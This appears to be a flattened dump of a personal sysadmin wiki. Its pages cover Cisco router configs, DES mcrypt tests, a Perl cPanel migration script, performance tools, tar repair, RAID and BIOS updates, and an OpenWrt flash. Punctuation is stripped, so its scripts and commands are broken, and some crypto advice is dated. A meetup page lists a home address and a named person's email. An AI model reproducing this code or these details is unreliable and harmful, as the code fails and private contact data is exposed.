ip address 192 168 1 2 255 255 255 0 frame-relay interface-dlci 30 router eigrp 100 network 192 168 1 0  isdn with ddr  no dialer profiles config t isnd switch-type basic-ni username calgary password cisco ip route 0 0 0 0 0 0 0 0 172 60 20 2 dialer-list 1 protocol ip permit int bri 0 0 ip address 172 16 20 1 encap ppp ppp authen chap dialer-group 1 isdn spid1 51055512340001 5551234 isdn spid2 51055512350001 5551235 dialer idle-timeout 90 dialer map ip 172 16 20 2 name calgary 5552000 alternative dialer group config int bri 0 0 dialer-group 1 dialer-list 2 protocol ip list 150 access-list 150 deny udp any any eq tftp access-list 150 permit ip any any  configuring pat  ip nat pool mypool 64 64 64 70 64 64 64 126 255 255 255 128 access-list 1 permit 172 16 10 0 0 0 0 255 ip nat inside source list 1 interface serial 0 0 overload option 1 ip nat inside source list 1 pool mypool overload option 2 int fa0 0 ip nat inside int ser0 0 ip nat outside  resources    examination information  voucher will be displayed under career development section once the test is completed promo codes for taking retired ver 3 1 ccna exams intro 640-821 na640-821b icnd 640-811 na640-811b ccna composite exam 640-801 na640-801b this covers both the above in one exam you must contact personvue and inform them of these codes - you may not be able to sign up online as the tests have been retired 888-327-1116 cisco academy help desk '),(11,'ciscologo',' '),(12,'testing mcrypt',' __forcetoc__ testing mcrypt testing mcrypt testing mcrypt the script below came from and can be used to test the des operation modes and stream cipher modes for the mcrypt library chnmod to 755 and execute from shell with php scriptname a sample of successful results are given below the script php # des_mcrypt_operation_mode_test php # copyright c 2006 by dr herong yang # key pack h 0123456789abcdef ; iv pack h 1234567890abcdef ; # now is the time for all plain_text pack h 4e6f77206973207468652074696d6520666f7220616c6c20 ; mode mcrypt_mode_ecb; expected pack h 3fa40e8a984d43156a271787ab8883f9893d51ec4b563b53 ; print n ntest 1 - des ecb 64-bit ; des_test mode ; mode mcrypt_mode_cbc; expected pack h e5c7cdde872bf27c43e934008c389c0f683788499a7c05f6 ; print n ntest 2 - des cbc 64-bit ; des_test mode ; mode mcrypt_mode_cfb; # 8-bit expected pack h f31fda07011462ee187f43d80a7cd9b5b0d290da6e5b9a87 ; print n ntest 3 - des cfb 8-bit ; des_test mode ; mode mcrypt_mode_ofb; # 8-bit expected pack h f34a2850c9c64985d684ad96d772e2f243ea499abee8ae95 ; print n ntest 4 - des ofb 8-bit ; des_test mode ; function des_test mode global key iv plain_text expected; cipher mcrypt_module_open mcrypt_des   mode   ; mcrypt_generic_init cipher key iv ; cipher_text mcrypt_generic cipher plain_text ; mcrypt_generic_deinit cipher ; mcrypt_module_close cipher ; print nthe key bin2hex key ; print nthe iv bin2hex iv ; print nthe plaintext bin2hex plain_text ; print nthe ciphertext bin2hex cipher_text ; print nthe expected bin2hex expected ; here is a sample of successfull outpu test 1 - des ecb 64-bit the key 0123456789abcdef the iv 1234567890abcdef the plaintext 4e6f77206973207468652074696d6520666f7220616c6c20 the ciphertext 3fa40e8a984d48156a271787ab8883f9893d51ec4b563b53 the expected 3fa40e8a984d43156a271787ab8883f9893d51ec4b563b53 test 2 - des cbc 64-bit the key 0123456789abcdef the iv 1234567890abcdef the plaintext 4e6f77206973207468652074696d6520666f7220616c6c20 the ciphertext e5c7cdde872bf27c43e934008c389c0f683788499a7c05f6 the expected e5c7cdde872bf27c43e934008c389c0f683788499a7c05f6 test 3 - des cfb 8-bit the key 0123456789abcdef the iv 1234567890abcdef the plaintext 4e6f77206973207468652074696d6520666f7220616c6c20 the ciphertext f31fda07011462ee187f43d80a7cd9b5b0d290da6e5b9a87 the expected f31fda07011462ee187f43d80a7cd9b5b0d290da6e5b9a87 test 4 - des ofb 8-bit the key 0123456789abcdef the iv 1234567890abcdef the plaintext 4e6f77206973207468652074696d6520666f7220616c6c20 the ciphertext f34a2850c9c64985d684ad96d772e2f243ea499abee8ae95 the expected f34a2850c9c64985d684ad96d772e2f243ea499abee8ae95 output looks very good all 4 test cases match the expected ciphertext message documented in other test scripts other test scripts other test scripts more test scripts for blowfish etc can be found on cpanel boxes at root installd buildapache php-4 4 7 ext mcrypt tests same deal - just chmod 755 and execute from shell with php testscript php '),(13,'manual cpanel migration script',' perl script for manual cpanel drive to drive migration this is the perl script that frank wrote for performing a manual migration of cpanel accounts from an old drive to a new drive it will also migrate other config files such as httpd my cnf etc it was tested by him and seemed to work pretty well a webhosting talk thread on this same method is also # usr local bin perl # check for drive name; quit if none specified if argv 0 print you must specify a device that contains the old filesystems n ; print usage cpanelmigration pl disk n ; exit 1; if 0 print you must be root to do a cpanel migration n ; print usage cpanelmigration pl disk n ; exit 1; # what drive has the old install on it it it\'s the only argument we take # get it below print n nchecking for partitions on argv 0 n nplease wait n n ; # let let\'s get us a list of partitions to work with # we\'ll be sticking them in devicesandlabels # better create it my devicesandlabels; open fdisk_l sbin sfdisk -d argv 0 ; while if id 83 device restofstring split; label sbin e2label device ; # e2label gives us output with a newline at the end # this makes it go away yes so would chomp but this # catches all kinds of whitespace label s s ; #print device has label label n ; devicesandlabels label device; close fdisk_l ; # create our mount point print creating mount point old n n ; system bin mkdir old ; # mount the filesystems and let the user know about it foreach key sort keys devicesandlabels system bin mount -o ro devicesandlabels key old key n ; print mounted devicesandlabels key on old key n ; # now that things are mounted let let\'s stop some services services httpd cpanel mysql named exim ; foreach services print stopping _ n n ; system etc init d _ stop ; # let let\'s move the bulk of the stuff over now rsync usr bin rsync -vrplogdth ; my rsyncthese; rsyncthese old etc cpupdate conf etc ; rsyncthese old usr local apache usr local ; rsyncthese old var named var ; rsyncthese old home home ; rsyncthese old usr local cpanel usr local ; rsyncthese old var lib mysql var lib ; rsyncthese old var cpanel var ; rsyncthese old usr share ssl usr share ; rsyncthese old var ssl var ; rsyncthese old usr local cpanel 3rdparty mailman usr local cpanel 3rdparty ; rsyncthese old var log bandwidth var log ; rsyncthese old usr local frontpage usr local ; rsyncthese old var spool cron var ; rsyncthese old root my cnf root ; rsyncthese old etc httpd conf httpd conf etc httpd conf ; rsyncthese old etc sysconfig network etc sysconfig ; foreach key sort keys rsyncthese print moving key to rsyncthese key n ; system rsync key rsyncthese key ; # get a lot of important stuff from etc print moving lots of important stuff from the old etc to the new etc ; system rsync old etc secondarymx old etc domainalias old etc valiases old etc vfilters old etc exim old etc proftpd old etc pure-ftpd old etc passwd old etc group old etc domain old etc named old etc wwwacct conf old etc cpupdate conf old etc quota conf old etc shadow old etc rndc old etc ips old etc ipaddrpool old etc ssl old etc hosts etc ; # now that we\'re done let let\'s start those services we stopped foreach services print starting _ n n ; system etc init d _ start ; # time for some cpanel magic print running scripts upcp --force n ; system scripts upcp --force ; print running scripts sysup n ; system scripts sysup ; print running scripts fixeverything n ; system scripts fixeverything ; print running scripts exim4 n ; system scripts exim4 ; print running scripts securetmp n ; system scripts securetmp ; # now let let\'s let cpanel restart everything again foreach services print restarting _ n n ; system scripts restartsrv _ ; # unmount the filesystems and let the user know about it foreach key reverse sort keys devicesandlabels system bin umount old key n ; print unounted devicesandlabels key from old key n ; # remove the mount point print removing mount point old n n ; system bin rmdir old ; # annoy the user print n n n n ; print you may now disconnect the old drive n ; print please make sure to verify the migration worked n ; print n ; '),(14,'system reporting - sar & ksar',' __toc__ performance profiling performance profiling performance profiling there are many tools that assist in analyzing the performance of a system to isolate bottlenecks and resource utilization the skill comes in using using these tools to collect information and then determining from the data where to investigate a good methodology is to start with broad analysis tools which give a global or high level overview and then work downward investigating more specific areas eventually the main problem areas can thus be isolated by compartmentalization for example performance profiling may start by running top then seeing high cpu useage by looking at what process es have the highest cpu usage you can then examine those processes more with ps and by looking at the proc entry for them etc the specific area to profile is typically cpu usage or wait time memory usage device io bottlenecks or database web server performance both general performance tools and tools specific to some applications exist to assist you there is a lot to know on this subject and this is only a general guide to introduce some tools you can always learn much more - google is your friend let let\'s take a look at what is available to you sysstat sysstat sysstat this package is available in the standard repos of nearly every major distro this contains several performance and statistical tools such as sar and iostat note the latest version is 8 1 7 as is available this version includes additional tools not available in previous versions such as pidstat this site also contains documentation on the tools and examples you can get this latest rpm right here wget installing and configuring sar installing and configuring sar installing and configuring sar i believe this is installed by default in centos 5 install sar yum install sysstat scripts are in etc cron d and also edit etc sysconfig # cat sysstat # how long to keep log files days maximum is a month default is 7 history 15  sar commands  basic use from shell sar -a 1 this will run sar once per second - continuously sar -a 1 1 run with a 1 second interval 1 time  networking stats  sar -n dev #gives network device stats sar -n edev #gives network device errors  sar logs  to read data from the log use sar -f var log sa sa08 where 08 is day number to view this same command can be executed from ksar remotely note sar can also be used to monitor processes but can\'t log the results by default however i think you could pipe it to a log manually however pidstat is far better for this purpose  some additional sites on sar  pidstat & mpstat pidstat & mpstat pidstat & mpstat the new version of sysstat contains an extremely powerful process monitoring tool pidstat this allows monitoring any single or group of specified processes you can also monitor io activity per process or per file system etc note to take full advantage of pidstat you need a kernel compiled with config_task_io_accounting y general setup - export task process statistics through netlink - enable all 3 options how do you tell look in the config file matching your running kernel archimedes anduril cat boot config-2 6 24-21-generic grep io_accounting config_task_io_accounting y pidstat is extremely powerful and allows a whole new level of granularity in monitoring linux processes here you can see the cpu stats since booting and io stats for a single process archimedes anduril pidstat -c firefox-bin linux 2 6 24-21-generic anduril 12 09 2008 02 22 53 pm pid user system cpu cpu command 02 22 53 pm 21183 6 38 0 38 6 76 0 firefox-bin archimedes anduril pidstat -d -c firefox-bin linux 2 6 24-21-generic anduril 12 09 2008 02 21 03 pm pid kb_rd s kb_wr s kb_ccwr s command 02 21 03 pm 21183 0 05 11 13 7 33 firefox-bin you can also examine the threads associated with a process archimedes anduril pidstat -t -c firefox-bin linux 2 6 24-21-generic anduril 12 09 2008 02 23 59 pm pid tid user system cpu cpu command 02 23 59 pm 21183 - 6 39 0 38 6 77 0 firefox-bin 02 23 59 pm - 21183 6 26 0 32 6 58 0 __firefox-bin 02 23 59 pm - 21184 0 03 0 01 0 04 0 __firefox-bin 02 23 59 pm - 21189 0 05 0 04 0 08 0 __firefox-bin 02 23 59 pm - 21193 0 04 0 01 0 05 1 __firefox-bin 02 23 59 pm - 21204 0 01 0 00 0 01 0 __firefox-bin ksar ksar ksar update a new version 5 is out included some improvements like using pidstat to monitor processes very handy the rest of this information is still all valid though version 5 allows you to maintain a persistent ssh connection and run sar and now pidstat commands to monitor remote processes in real time java -jar ksar jar -help java -jar ksar jar -wizard starts unified authentication persistent ssh connection docs shortcut xml defines the default graph and samples of pidstat monitoring etc live monitoring commands sar -a 2 0 pidstat -c firefox 2 0 pidstat -d -c firefox 2 0  general ksar info  newest 5 0 6 webstart - nice wget old links webstart application wget previous versionjar this is a pretty killer app - you can poll all the data sar has logged view it in very pretty graphs and also export it only the sections you want as a pdf file the development site for ksar is to run the java client java -jar ksar-4 0 10 jar to connect to a remote host select launch ssh command from the data menu connect as root ipaddress port once connected via ssh select launch ssh command again using ssh command to run sar -a -f var log sa sa15 where 15 is the day number to view ksar center frame '),(15,'ksar',' '),(16,'repairing corrupted tar files',' repairing corrupted cpanel backups tar gz files huzzah intro so you are trying to restore a cpanel backup and it doesnu8e28099t work imagine that u8e28093 what are the odds that would ever happen if in cpanel it may or may not saying anything usefullu8e28093 you might see the u8e2809cunexpected end of fileu8e2809d reported or it might just fail goram cpanel # if you try to gunzip it from the shell you receive u8e2809cunexpected end of fileu8e2809d this most likely happens because of a the backup is just corrupted b it was ftpu8e28099ed using ascii not binary mode our ftp servers default to binary c the archive was truncated when being transferred to the storage server because there was not enough room since cpanel does not verify if there is enough free space on the ftp destination it seems to just throw the back up out there and hope for the best of course the guys back ups are mostly useless and they never know it but hey u8e28093 itu8e28099s not a perfect world however as galadriel said u8e2809chope is not yet lost even the smallest of utilities can change the course of things u8e2809d galadriel frame center good on ya\' enter herewith the most wondrous gz repair tool gz repair tool gz repair tool gz repair tool the website is installation in centos 4 5 this is way easy wget uzip and untar it cd to the unpacked gzrt-0 5 directory and compile with #make if it does not compile you most likely donu8e28099t have zlib u8e28093 see below verify compilation was successful you should now see the gzrecover script #cp gzrecover bin just so itu8e28099s available in the path in the future note ironically it seems rather finicky in ubuntu i had to build zlib and it still couldnu8e28099t find it when making gz repair tool hummm a puzzle getting zlib and cpio getting zlib and cpio getting zlib and cpio verify if you have it using locate zlib or a yum info zlib if you need to install it #yum install zlib if for some reason you need to build it you can get it from wget building is easy gunzip untar configure make make install the web site is #cpio - will show if you have it if not yum install cpio usage usage usage from the website above run gzrecover on a corrupted gz file anything that can be read from the file will be written to a file with the same name but with a recovered appended any gz is stripped you can override this with the -o option to get a verbose readout of exactly where gzrecover is finding bad bytes use the -v option to enable verbose mode this will probably overflow your screen with text so best to redirect output to a file once gzrecover has finished you will need to manually verify any data recovered as it is quite likely that our output file is corrupt and has some garbage data in it if your archive is a tarball read on for tarballs the tar program will choke because gnu tar cannot handle errors in the file format fortunately gnu cpio tested at version 2 5 or higher handles corrupted files out of the box here here\'s an example ls gz my-corrupted-backup tar gz gzrecover my-corrupted-backup tar gz ls recovered my-corrupted-backup tar recovered cpio -f my-corrupted-backup tar recovered -i -v if you have a previous release please note that the patches to gnu tar have been discontinued they were only marginally successful at best and gnu cpio does what is needed out of the box and does it far better data recovery data recovery data recovery since the corrupted sections are omitted some data loss is bound to occur when recovering however you can get what you can get if the customer is only missing trying to recover certain things u8e28093 config files the mysql data etc you very well could luck out as a last resort only you can try a dirty approach and just rsync the recovered data into his existing account u8e28093 leave what he has and integrate what was recovered hoping what was not recovered and was corrupted is still in his account i recently saved a guys 7gb site doing this but it was not without its elements of luck remember u8e28093 this is advanced technical support so please charge if appropriate '),(17,'galadriel',' '),(18,'dell raid tools',' dell raid management tool - megarc there is a cool tool that gives a lot of information and management capabilities for the hardware raid controllers on our dells the utility is called megarc you can get it from just goto downloads storage internal raid pick a controller and this utility will be in the downloads of all their controllers i\'ve only tested in on one 1425 with fedora core 6 should be fine with centos documentation is included in the txt file to install 0 wget 1 unzip the file ut_linux_megarc_1 11 zip 2 chmod to 744 both megarc megarc bin to use just run the script megarc to run the utility dell alternative dell alternative dell alternative chris davis noted there is also a dell a megaraid utility available for the lsi controller based systems information is at look under megaraid scis management utility wget there there\'s also rpm rpm\'s here;  running this on debian   wget mkdir perc mv perc-cerc-apps-6 03-a06 tar gz perc cd perc tar xvf perc-cerc-apps-6 03-a06 tar gz apt-get install alien alien dellmgr-5 31-0 i386 rpm dpkg -i dellmgr_5 31-1_i386 deb dellmgr works fine help and options help and options help and options megrc will give help - there a lot of options read carefuly - yes you can easily destroy the raid config by using this utility megarc cmd if the option is valid gives the complete help regarding that particular option example megarc -ctlrinfo for summary data on the configured raid root somehost # megarc -ldinfo -a0 -l0 megarc megaraid configuration utility linux -1 11 12-07-2004 by lsi logic corp usa note for sata-2 4 and 6 channel controllers please specify ch 0 id 0 15 for specifying physical drive ch channel id target type as command line arg for help finding devices on each megaraid adapter scanning ha 0 chnl 0 target 15 information of logical drive 0 logical drive 0 adapter 0 status optimal --------------------------------------------------- spandepth 01 raidlevel 1 rdahead adaptive cache cachedio stripsz 064kb stripes 2 wrpolicy writeback logical drive 0 spanlevel_0 disks chnl target startblock blocks physical target status ---- ------ ---------- ------ ---------------------- 0 00 0x00000000 0x1113e000 online 0 01 0x00000000 0x1113e000 online checking for a failed drive root somehost # megarc -pdfailinfo -a0 -ch0 -id0 megarc megaraid configuration utility linux -1 11 12-07-2004 by lsi logic corp usa note for sata-2 4 and 6 channel controllers please specify ch 0 id 0 15 for specifying physical drive ch channel id target type as command line arg for help finding devices on each megaraid adapter scanning ha 0 chnl 0 target 15 adp 0 chnl 0 id 0 not in failed state '),(19,'ssh over x','  application forwarding through x windows over an ssh connection   you can run applications on a specified server and have them displayed on your client even if that client is a windows based system by installing an x server for windows and using ssh to connect to the server you can still have that app be displayed on the windows system or run the enitre desktop remotely it is extremely easy to do and opens the door to back-end server driven apps being used cross-platform running at full speed on the server side xming windows xserver xming windows xserver xming windows xserver a great open source x server for windows xming simple windows x server solution simple windows x server solution simple windows x server solution 1 install putty 2 install xming x server 3 start xming mult window mode usually best 4 use putty with ssh option for x forwarding enabled to connect to server ssh -x user ipaddress 5 run the x based app you want and it will open on the windows x server client for example just run gimp & and it should appear on the windows client 6 to run the entire desktop use x -query  ipaddress  this will run the target systems entire desktop forwarded to your client using xdmcp you can also use x - broadcast to see what desktops are available doesn\'t work see troubleshooting below improve desktop performance improve desktop performance improve desktop performance running xdmcp is not particularly fast but is encrypted over ssh you can use a vnc client which can be faster but to really see a gain accelrate the x server and client by using the nxserver and nxclient from general ssh x tutorial general ssh x tutorial general ssh x tutorial general information and a few different configurations for application and desktop forwarding thru x over ssh improve performance improve performance improve performance you can specify -c to compress data and -c to specify a particular cipher to use such as ssh -x -c -c blowfish-cbc arcfour user host which will use blowfish which is faster than the default 3des cygwin x server option cygwin x server option cygwin x server option  via cygwin cygwin\'s x client on local machine  start cygin and start the x server with x & or xwin exe & once the x server is running you can ssh to you server using cygwin with either ssh -x root hostname or ssh -y -l user host if you use putty to ssh with select connection -- ssh -- x11 - enable x11 forwarding you should not have to specify a display name - leave it blank run the app you want in the shell and it will forward thru ssh over x and display on the local windows machine for example xeyes & katomic ooffice &  remote sessions via xdmcp  - remote desktop cygwin x can be used login to one or several remote sessions using xdmcp x display manager control protocol start cygwin x with a command similar to the following to login to a single remote session using xdmcp xwin exe -query remote_hostname_or_ip_address if you get an error about client denied from  ipaddress and something about an mit_magic_cookie see troubleshooting section ---- you may login to several remote sesstions with a single or multiple hosts using xdmcp each session will need a seperate display number specified by the display_number parameter such as 0 a display number is not the same as a screen number as a single display can have multiple screens associated with it each display listens on a different network port number so each display can connect to multiple machines start cygwin x with command lines similar to the following to login to several remote sessions using xdmcp xwin exe 0 -query remote_hostname_or_ip_address_0 xwin exe 1 -query remote_hostname_or_ip_address_1 note that the display_number parameter is a general x server parameter not specific to cygwin x further documentation of the display_number parameter can be found in the x server manual page xdmcp is a complex system that is not specific to cygwin x; further discussion of xdmcp is beyond the scope of this document you may wish to read the linux xdmcp howto or the x server xdmcp options for more information troubleshooting troubleshooting troubleshooting trying to run an xdmcp desktop remotely and get and audit message stating cygwin x reports audit client 1 rejected from ip  remotehost  problem is maybe a wrong dns network name resolution make sure your windows host has a hostname which is valid from linux too and an ip address which linux can resolve to that hostname if you add a line 192 168 26 1 myhost to etc hosts on the xdmcp server containing the ip address and the hostname of your windows host the name resolution should work also ensure that kdmrc has xdmcp set to true - there is a whole section under xdmcp x applications or desktop not being forwarded over ssh ensure x11forwarding is enabled in sshd_config on the server - restart sshd service  xauthority issues  see the following guide for troubleshooting issues regarding xauthority '),(20,'linux night topics',' __forcetoc__ hiking_tux_200 right frame to the party first linux night first linux night first linux night  sunday 16 sept 7pm to 10pm or so    see you all tonight   1575 greenlea drive #9 clearwater fl 33755 just south of sunset point and highland bp station on corner of highland and greenlea go east two blocks two story condos on right with brown roof the pines first building as you enter ground floor unit 9  if you are coming post your name below under who who\'s coming if you have not already  i\'ll be hosting a linux night soon at my house using the pool party house our condo complex has there will be tables to set up systems and monitors on so feel free to bring you box i\'ll have a router there bridged to one in my house so we will have connectivity - feel free to bring a notebook with wifi wired nic rather than a desktop but it will just be easier to plug into the switch so you don\'t need to deal with setting up wireless if you are running nix already or plan to install it this is a basic orientation to a better life through linux we can do a more advanced night later if people want  feel free to bring food and beer   we can install ubuntu fedora centos suse or anything else you like - i have these dvds if you want to try another disto bring it too suggested topics suggested topics suggested topics here are some topics we can cover  access   ssh server config sshd config options and security cygwin - bash and x server for windows forwarding server based applications through x over ssh run somthing one one computer have it displayed on yours desktop forwarding using ssh and vnc  file management   scp and rsync for client server transfers and backups using the fish and smb protocols with kde desktop kde applications and fish ftp services using tar gz zip files mounting devices compiling something from source  linux tools   top and ps netstat sar proc smartctl hdparam iostat grub package management  linux apps and projects   mythtv beryl mediawiki wordpress backuppc who who\'s coming who who\'s coming who who\'s coming list what days you  could  make it who sat 8 sept sun 9 sept sat 15 sept sun 16 sept pete yes yes yes yes i\'ll provide some soda and beer cody not 8th or 9th 15th yes 16th yes i\'ll bring beer and some sort of snacks will bring my ubuntu box eric i am good for both dates when a date is announced i\'ll figure out what to bring i also invited james goin hope thats okay he is a new tech at our store he said both dates sound okay to him his email is thomas james goin gmail com james c sun the 16th '),(21,'hiking tux 200',' '),(22,'linux night topics',' hey guys feel free to leave comments or discussion here cheers pete '),(23,'sun cobalt xtr server',' os installation output by default is directed to serial 0 use minicom picocom etc with baud rate of 115200 for terminal access picocom command sequence ctrl-a then ctrl-u or d to increase decrease baud rate the strongbolt install from cd seems to require eth0 marked i to be used if not the base os is installed but blue quartz is not installed despite being selected on the lcd menu general info on cobalts distro of centos & bluequartz for non-cobalt systems blue quartz blue quartz blue quartz you can view sites by site preview in the site settings has to be enabled for this to work and the server has to have dns enable server active sites content is stored home sites moria azure com web sites is a sym link strongbolt kernel strongbolt kernel strongbolt kernel  intro  stongbolt is really a pretty cool distribution but i found it has very very few kernel modules installed this is a problem if you want to take advantage of lvm for example which on an xtr is a great idea as it supports 4 hard drives i researched this online found the compatible xtr source code and a colleague at work helped me learn how to make the kernel modules it is actually pretty straight forward and if you have an xtr this is certainly worth knowing  kernel sources  kernel source is available from event though the source is for the raq550 with will make modules etc for the xtr fine the specific source for the xtr is wget you can save this and make the modules etc in any directory really the usual place is in usr src - however the small partition sizes of a default strongbolt install make this impossible on a small drive just put it in home or where ever you have room usr src sbraq550src linux-2 6 16-raq550  kernel & module configuration  cd to the directory where you have un-tar\'ed the kernel source and run make menuconfig this requires ncurses-dev installed to run so if you get any errors just yum install ncurses-dev and it should then run fine  adding lvm support   make menuconfig navigate to device drivers -- multi device support raid and lvm -- device mapper support select this open in the menuconfig it will be marked with an and when you exit it will ask to save the new config do so next make the lvm dm ko device mapper module with make modules make modules install the device-mapper gets built and put under usr src sbraq550src linux-2 6 16-raq550 drivers md just look in the drivers md directory of where you are building the kernel modules from cp -r md lib modules 2 6 16-xtr move it to current kernel modules directory - dm-mod ko is it and is contained in the md directory now load up the module with depmod -a modproble dm_mod lsmod should now show dm_mod root tardis net # lsmod module size used by fuse 26508 0 tun 5792 1 xt_tcpudp 2208 48 iptable_filter 1440 1 ip_tables 10328 1 iptable_filter x_tables 7332 2 xt_tcpudp ip_tables dm_mod 36888 5  adding vpn tunnel device  this is pretty much exactly the same procedure as adding the lvm device-mapper module you run make menuconfig from the kernel source directory again this time navigate to network device support --- universal tun tap device driver support and select it mark it with exit from menuconfig and then make modules make modules install once the module is made you will fine it as tun ko look in linux-2 6 16-raq550 drivers net move it to the current kernel modules directory cp tun ko lib modules 2 6 16-xtr and load up the module depmod -ae modprobe tun you will see it show up in dmesg tun universal tun tap device driver 1 6 tun c 1999-2004 max krasnyansky and it will show up if you run lsmod ifconfig will also show the tun0 interface when you start the appropriate vpn server  adding other modules  you can add other modules the following the same process above to add the fuse user space file system module select it in make menuconfig this is built and placed src linux-2 6 16-raq550 fs fuse move the fuse ko with cp tun ko lib modules 2 6 16-xtr and proceed as with the above other modules '),(24,'openwrt linksys router',' tftp install tftp install tftp install # unplug the power to your router # start your tftp client pumpkin tftp is a good easy choice give it the router router\'s address usually 192 168 1 1 set mode to octet binary tell the client to resend the file until it succeeds put the file # plug your router while having the tftp client running and constantly probing for a connection # the tftp client will receive an ack from the bootloader and starts sending the firmware windows 2000 xp tftp client short instructions open two command windows start-run-enter cmd in one window type ping -t -w 10 192 168 1 1 and press enter 192 168 1 1 is the router ip ping will continuously try to contact the wrt with 10 ms timeout instead of default 4000 ms keep this running in the other window prepare the tftp command tftp -i 192 168 1 1 put openwrt-gs-code bin do not press enter yet now you may plug in the router unplug it first if it was plugged in the ping window it will start saying hardware error return to the tftp window as soon as the ping window starts to answer again press enter in the tftp window the image should now be flashed without multiple tries if ping starts with hardware error then starts to answer and then returns to hardware error again for a short moment you waited too long if you have a openwrt54gl v1 1 testet the timespan might be very short and is located about 2 seconds after pluging in and about 1 second before the ping starts to answer note if your computer set dhcp you may not get hardware error but destination host unreachable or request timeout set your computer static ip before client mode bridging client mode bridging client mode bridging x-wrt web interface x-wrt web interface x-wrt web interface install x-wrt manually the x-wrt webif depends on the haserl package so this has to be installed before the webif itself in both cases the specific links are needed to point ipkg to the correct package this requires internet access but it is as alternative possible to scp the packages onto the router they should be placed in the tmp directory root openwrt # ipkg install then afterwards it is just needed to type root openwrt # ipkg install the installation of webif will automatically add the new x-wrt repositories to ipkg conf and run the \'ipkg update\' command '),(25,'hardware info polling',' polling hardware specs with dmidecode and lshw lhsw-gui __forcetoc__ need to do a memory install system not labeled with what board it has want to know what motherboard and what memory it has and in what slots for motherboard hardware info use lshw and or dmidecode dmidecode is built in and provides a wealth of info lshw give much the same some extra and also provides a gui dmidecode dmidecode dmidecode # dmidecode dmidecode will show the number of memory slots and speed of memory and motherboard model information handle 0x0002 dmi type 2 8 bytes base board information manufacturer gigabyte technology co ltd product name 8ld533 version 1 x serial number # dmidecode grep memory handle 0x0018 dmi type 16 15 bytes physical memory array location system board or motherboard use system memory error correction type none maximum capacity 2 gb error information handle not provided number of devices 2 dimm info handle 0x0019 dmi type 17 27 bytes memory device array handle 0x0018 error information handle not provided total width 64 bits data width 64 bits size 512 mb form factor dimm set none locator a0 bank locator bank0 1 type unknown type detail cmos window dram speed 266 mhz 3 8 ns manufacturer none serial number none asset tag none part number none lshw lshw-gui lshw lshw-gui lshw lshw-gui this is a bit like cpuz for windows reports general hardware environment and has a gui available this is from for debian it it\'s just apt-get install lshw-gtk from universe repository centos install add this temporarily to etc yum com dries name extra fedora rpms dries - releasever - basearch baseurl gpgcheck 1 enabled 1 and import the key with rpm --import if you don\'t import the key you will get the ol\' public key for lshw-2 11 1-1 el4 rf i386 rpm is not installed and yum will choke # yum install lshw lshw-gui obviously you don\'t need the gui unless you want to forward it over x and view it that way # lshw will give you -core description motherboard product 8ld533 vendor gigabyte technology co ltd physical id 0 version 1 x -firmware description bios vendor award software international inc physical id 0 version 6 00 pg 10 16 2003 size 128kb capacity 192kb and also memory info speed slots etc -memory description system memory physical id 18 slot system board or motherboard size 1gb capacity 2gb -bank 0 description dimm cmos window dram 266 mhz 3 8 ns product none vendor none physical id 0 serial none slot a0 size 512mb width 64 bits clock 266mhz 3 8ns -bank 1 description dimm cmos window dram 266 mhz 3 8 ns product none vendor none physical id 1 serial none slot a1 size 512mb width 64 bits clock 266mhz 3 8ns or if you prefer ssh with -x and use lshw-gui and get the data forwarded through x to the gui front end '),(26,'bios updates',' bios updates huzzah we have collected bios updates for all our dell servers and the key generic ones as well practically all these systems have whatever bios version they shipped with some of the dell 750s for example have bios versions a00 - whereas the current is a08 for example these bios updates contain innumerable updates for the various systems including improved pxe booting support often updating pxe boot to 2 1 and enabling more pxe options and improved support for booting recognizing external usb devices one board even gains a hardware raid config menu many get new pxe boot menus which then have new options some can then use other memory types or support different cpus such as the celeron d etc etc ad nausium as both pxe and booting from usb devices is a crucial function our servers must perform updateing the bios is a very good idea this should be done as part of any new install reinstall or when otherwise possible it takes only a few minutes to do operational systems allow us to stay one step ahead of the damn peace keepers whenever possible and they make the radiant aeryn sun much happier mini_aeryn01 frame center the radiant aeryn sun methods of booting methods of booting methods of booting there are three update routes a pxe booting  this is not yet operational  b bootable usb stick c bootable cd rom a pxe booting this is still being worked on use the other two methods for now b bootable usb stick the \'bios labeled usb key can be used on all dells and many generics set the boot option for enable other yes and on dell set the boot device priority etc c bootable cdrom boot to the cd and then a cd d to get to the files organized under the bios directory both the cd and usb keys should be kept in the install room on the bulletin board please return them there how to update the bios how to update the bios how to update the bios once you are in the bios update dos environment simply cd to the appropriate directory - these are named after the board model for example 8ld533 or s2727 etc this is printed on the board or of course visible in the post screen the pause key will halt the post sequence so you can see the bios and board info once in the correct directory just run the flash utility and supply the image file name c awfl823b exe p4map148 bin will run the utility and pass the bios image automatically to it you do not need to save to old bios some boards have autoexec bat files to do the above dell servers - upgrading in linux dell servers - upgrading in linux dell servers - upgrading in linux you can update dells using the dos executable available in the pxe bios update or on the boot cd or usb stick they are organized by model under bios dell delldos you can also execute the linux bin file from centos 4 5 or 5 very easily a reboot should be done after as the flash operation does not occur until reboot however the reboot is not immediately required steps from within centos mount the bios usb key or bios cd rom yum isntall compat-libstdc use the latest i386 version execute the appropriate bin file located on the usb stick cdrom in bios dell delllinux reboot and monitor the flash only government sanctioned centos is this easy for other distros your mileage will vary generic servers generic servers generic servers some of these will boot to the usb stick some will not there are about a dozen different generic boards the key ones have bios updates available you will just need to try booting first to the usb and then the cdrom these are more of a pain but updating them will make everyones lives easier so please do so when you are doing reinstall them etc board notes board notes board notes there are hardware notes on the various board in the readme txt file under the bios directory if you come across specific hardware pxe information that should be included please let me know and it can be added board bios versions board bios versions board bios versions these are the latest most stable bios versions to use  dells   750 a06 850 a04 1425 a03 1850 a06  generics  845gvmrz f3 note there are later versions which all seem to disable pxe support entirely use f3 8ld533 f3 8ls533 f2 p4map266 1 48 p4ma533 1 12 p4p800mx 1004 2002 rev b1 dfi 1 8 most already have this - i don\'t think there ever was an update s2727 1 04 these are the dual xeons pxe is very weird on these there are two versions i think all ours use the mx and not the windbond flash msi 6524 1 70 '),(27,'mini aeryn01',' '),(28,'lm sensors hardware monitoring',' __forcetoc__ lm_sensors right frame intro intro intro homepage if you are running a 2 6 kernel install should be pretty easy get lm_sensors from there is now a quickstart file in the package this has the simple setup for 2 6 kernels the first part of this is excerpted and given at the end of this page please read this ensure i2c is installed - lsmod will show if it is if not read up and install it the rest of this is on how to configure the sensors to read more correct tempuratures  important   the diodes and thermistors used on motherboards are extremely inexpensive we are not going to get perfect readings from them actually sometimes not even that close it it\'s not a sensor that nasa is going to be using real soon the raw reading is computed using a simple algorithm to yield the final result displayed as temperature you can make it be whatever you want bios uses it it\'s own formula lm_sensors uses it and you can modify it as needed 